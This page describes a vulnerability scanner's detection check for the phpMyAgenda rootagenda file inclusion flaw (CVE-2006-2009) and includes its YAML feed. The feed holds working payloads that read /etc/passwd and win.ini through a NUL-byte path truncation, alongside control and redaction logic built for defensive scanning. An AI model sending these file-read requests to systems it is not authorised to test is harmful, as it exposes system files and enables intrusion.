phpMyAgenda — 1 vulnerability check

noctis ships 1 vulnerability check for phpMyAgenda, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpMyAgenda rootagenda File Inclusion

CVECVE-2006-2009
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/phpmyagenda/CVE-2006-2009.yaml

Tests phpMyAgenda (3.0 Final and earlier) for the unauthenticated file inclusion through the rootagenda parameter. The feed looks for the phpMyAgenda calendar page (agenda.php3) under the usual folders (/phpmyagenda, /agenda, the web root), then requests infoevent.php3 with rootagenda set to /etc/passwd followed by a NUL byte (%00) that cuts off the suffix the script appends, and, when no passwd content comes back, windows/win.ini. The content of the system file in the reply confirms the inclusion. The local read needs register_globals and magic_quotes_gpc on and PHP before 5.3.4. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read, and no URL to another host is sent. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/agenda.php3
  2. Checks gate_r.body for <a href=[^?]+\?modeagenda=calendar
  3. HTTP(S) request GET {{dir}}/infoevent.php3?rootagenda=/etc/passwd%00
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/infoevent.php3?rootagenda=c:/windows/win.ini%00
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/infoevent.php3?rootagenda={{ctrl_path}}%00
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: phpMyAgenda rootagenda File Inclusion (CVE-2006-2009)
  12. Checks win_file for ^windows/win\.ini$ → finding QoD 75: phpMyAgenda rootagenda File Inclusion (CVE-2006-2009)

References:

Feed source — tests/vulnerabilities/phpmyagenda/CVE-2006-2009.yaml
# phpMyAgenda rootagenda file inclusion — CVE-2006-2009
#
# phpMyAgenda 3.0 Final and earlier (PHP web calendar) build an include path
# from the "rootagenda" request parameter without sanitising it, in
# agenda.php3 and infoevent.php3. The value is used as the path prefix of an
# included file, so a URL there is a remote file inclusion (allow_url_fopen)
# and an absolute file name is a local file inclusion (register_globals and
# magic_quotes_gpc on, per the advisory); a NUL byte (%00) cuts off the suffix
# the script appends on PHP < 5.3.4.
#
# Detection (benign, read-only, local inclusion): when agenda.php3 carries the
# phpMyAgenda calendar link, GET
#   <dir>/infoevent.php3?rootagenda=/etc/passwd%00
# and match the CONTENT of /etc/passwd (windows/win.ini on Windows). QoD 75
# (response analysis). No URL to a host we control is ever sent, so the target
# makes no outbound request.
#
# Improvements over the source NASL:
#   - The NASL's remote-inclusion branch only fires when the target can reach
#     the target itself over HTTP; the local read works whenever the flaw does
#     and needs no outbound connection.
#   - The probe is read with its passwd content, not a bare marker, and a
#     control request (same parameter, a path in an absent random directory
#     that still ends with the same file) must come back WITHOUT it, so a
#     blanket responder or a honeypot keyed on the file name is not reported.
#     The control must get the same HTTP status as the probe.
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVE mapping: NVD names agenda.php3 (remote inclusion, "execute arbitrary PHP
# code"); the NASL probes infoevent.php3, the same parameter. CVSS: CVE-2006-2009
# v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2008/phpMyAgenda_30final_file_include.nasl
# (OID 1.3.6.1.4.1.25623.1.0.200002, GPL-2.0-only).
uid: 23d482a3-c0ef-4a87-93e1-b7301f5024ee
name: "phpMyAgenda rootagenda File Inclusion (CVE-2006-2009)"
description: |
  Tests phpMyAgenda (3.0 Final and earlier) for the unauthenticated file
  inclusion through the rootagenda parameter. The feed looks for the
  phpMyAgenda calendar page (agenda.php3) under the usual folders
  (/phpmyagenda, /agenda, the web root), then requests infoevent.php3 with
  rootagenda set to /etc/passwd followed by a NUL byte (%00) that cuts off the
  suffix the script appends, and, when no passwd content comes back,
  windows/win.ini. The content of the system file in the reply confirms the
  inclusion. The local read needs register_globals and magic_quotes_gpc on and
  PHP before 5.3.4. A control request for an absent random file through the
  same parameter must not return any of these files, so a server that serves
  the same content on every request is not reported. Only world-readable
  system files are read, and no URL to another host is sent. The account name
  (unless root), password field and gecos of the uid-0 line are redacted from
  the evidence.
cves: [CVE-2006-2009]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [phpmyagenda, php, lfi, rfi, file-inclusion, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-2009"
  # OpenVAS/Greenbone NASL 2008/phpMyAgenda_30final_file_include.nasl (GPL-2.0-only)

steps:
  # Loop group: every following step runs once per phpMyAgenda folder.
  - id: init-gate
    action: set_var
    var_name: gate_ok
    var_value: false
    loop:
      var: dir
      over: ["/phpmyagenda", "/agenda", ""]

  - id: init-gate-r
    action: set_var
    var_name: gate_r
    var_value: {status: 0, body: ""}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # Fingerprint: the calendar page links to itself with modeagenda=calendar.
  - id: gate
    action: http_request
    method: GET
    path: "{{dir}}/agenda.php3"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: gate_r

  - id: gate-marker
    action: match
    source: gate_r.body
    pattern: "<a href=[^?]+\\?modeagenda=calendar"
    on_match:
      set_vars:
        gate_ok: true

  # Linux: /etc/passwd
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/infoevent.php3?rootagenda=/etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "gate_ok"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "gate_ok && passwd_r.status == 200"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if gate_ok && passwd_r.status == 200 && passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # Windows: win.ini, only when the page answered and the Linux read gave nothing
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/infoevent.php3?rootagenda=c:/windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'gate_ok && lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'gate_ok && lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  # Control: same parameter, absent random directory, same file ending.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { "windows/win.ini" };
      "/noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/infoevent.php3?rootagenda={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "phpMyAgenda rootagenda File Inclusion (CVE-2006-2009)"
        description: "An unauthenticated request to infoevent.php3 with the rootagenda parameter set to /etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any file the web server user can read and, with allow_url_fopen enabled, includes and runs PHP code from a URL."
        remediation: "phpMyAgenda 3.0 Final is no longer maintained: remove it or restrict access to it, and disable register_globals and allow_url_fopen. Run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/infoevent.php3?rootagenda=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^windows/win\\.ini$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "phpMyAgenda rootagenda File Inclusion (CVE-2006-2009)"
        description: "An unauthenticated request to infoevent.php3 with the rootagenda parameter set to c:/windows/win.ini and a NUL byte returned the content of win.ini, while the same request for an absent file did not. The same flaw reads any file the web server user can read and, with allow_url_fopen enabled, includes and runs PHP code from a URL."
        remediation: "phpMyAgenda 3.0 Final is no longer maintained: remove it or restrict access to it, and disable register_globals and allow_url_fopen. Run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/infoevent.php3?rootagenda=c:/windows/win.ini%00 returned the content of win.ini; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub